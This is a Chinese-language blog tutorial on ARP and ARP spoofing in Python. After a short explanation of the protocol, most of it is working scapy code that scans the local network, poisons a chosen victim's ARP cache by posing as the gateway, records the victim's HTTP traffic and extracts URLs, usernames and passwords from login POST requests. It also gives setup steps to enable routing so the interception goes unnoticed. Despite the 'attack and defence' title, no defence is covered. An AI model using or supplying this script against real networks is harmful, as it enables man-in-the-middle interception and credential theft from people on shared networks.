Python基础——局域网攻防(ARP原理及应用)

mac2024-05-17  34

1.ARP扫描原理

ARP(Address Resolution Protocol)地址解析协议,目的是实现IP地址到MAC地址的转换。在计算机间通信的时候,计算机要知道目的计算机是谁(就像我们人交流一样,要知道对方是谁),这中间需要涉及到MAC地址,而MAC是真正的电脑的唯一标识符。为什么需要ARP协议呢?因为在OSI七层模型中,对数据从上到下进行封装发送出去,然后对数据从下到上解包接收,但是上层(网络层)关心的IP地址,下层关心的是MAC地址,这个时候就需要映射IP和MAC。

ARP欺骗(ARP spoofing),又称ARP毒化(ARP poisoning,网上上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网上上特定计算机或所有计算机无法正常连线。

ARP欺骗的运作原理是由攻击者发送假的ARP数据包到网上,尤其是送到网关上。其目的是要让送至特定的IP地址的流量被错误送到攻击者所取代的地方。因此攻击者可将这些流量另行转送到真正的网关(被动式数据包嗅探,passive sniffing)或是篡改后再转送(中间人攻击,man-in-the-middle attack)。攻击者亦可将ARP数据包导到不存在的MAC地址以达到阻断服务攻击的效果。

#获取本机IP和网关 import os for line in os.popen("route print"): line=line.strip() if line.startswith("0.0.0.0"): ip=line.split()[3] gateway=line.split()[2] print(f"本机IP:{ip} 网关:{gateway}") break else: print("网络连接异常!")

执行结果如下:

#进行ARP扫描,发现存活的主机 scanip=gateway+"/24" ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=scanip),timeout=1) #srp是收发包 print(f"本次扫描发现了{len(ans)}台主机:") for s,r in ans: print(f"{r.psrc:<20s}{r.src}")

执行结果如下:

2.ARP应用

首先需要安装scapy库:pip install scapy

局域网攻防程序开始前,先使用ipconfig /all命令查看IP路由是否已经启用,如果没有,会造成在运行程序抓取过程中网络连接失败,因为攻击方收到对方信息无法进行路由转发,因此造成失败。解决方案:在cmd中输入命令services.msc会打开相应的服务窗口如下图所示:

将routing and remote access单击右键属性选择启动类型位自动即可。

#获取本机上网的IP和网关,局域网攻防,抓取对方上网信息 from scapy.all import * import os import time from threading import Thread import re def capture(ip,t,fname): con=f"tcp port 80 and host {ip}" pkts=sniff(filter=con,timeout=t) print("抓包完成!") wrpcap(fname,pkts) print(f"数据已存入文件{fname}。") for line in os.popen("route print"): line=line.strip() if line.startswith("0.0.0.0"): ip=line.split()[3] gateway=line.split()[2] print(f"本机IP:{ip} 网关:{gateway}") break else: print("网络连接异常!") exit() #进行ARP扫描,发现存活的主机 scanip=gateway+"/24" ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=scanip),timeout=3) print(f"本次扫描发现了{len(ans)}台主机:") targets={} for s,r in ans: print(f"{r.psrc:<20s}{r.src}") targets[r.psrc]=r.src #开始欺骗 victim=input("请输入攻击目标:") t1=int(input("请输入攻击时间(单位:秒):")) tcap=Thread(target=capture,args=(victim,t1,"record.pcap")) tcap.start() for i in range(5*t1): sendp(Ether(dst=targets[victim])/ARP(pdst=victim,psrc=gateway),verbose=False) time.sleep(0.2) #解析数据 pkts=rdpcap("record.pcap") reg=re.compile(r"Referer: (.+?)\r\n.+?userName=(.+?)&passWord=(.+)",re.S) for p in pkts: try: if p.load.decode().startswith("POST"): url,uname,pwd=reg.findall(p.load.decode())[0] print(url,uname,pwd) except: pass

具体操作过程如下:

在完成上述准备工作后,可以开始测试。攻击方与被攻击方需要连接在同一网络下,运行抓取数据程序如下图。通过ARP扫描检测到主机IP地址,根据要求输入攻击目标的IP地址,选择需要的攻击时间(时间不宜太长或者太短)。攻击方选择时间后回车,攻击开始。此时被攻击方可以进行上网,登录相关用户名密码等操作。选择攻击的时间过后,会提醒抓包完成并进行数据解析如下图获取相关信息。

可以使用wireshark软件进行抓包操作,图例如下:

 

最新回复(0)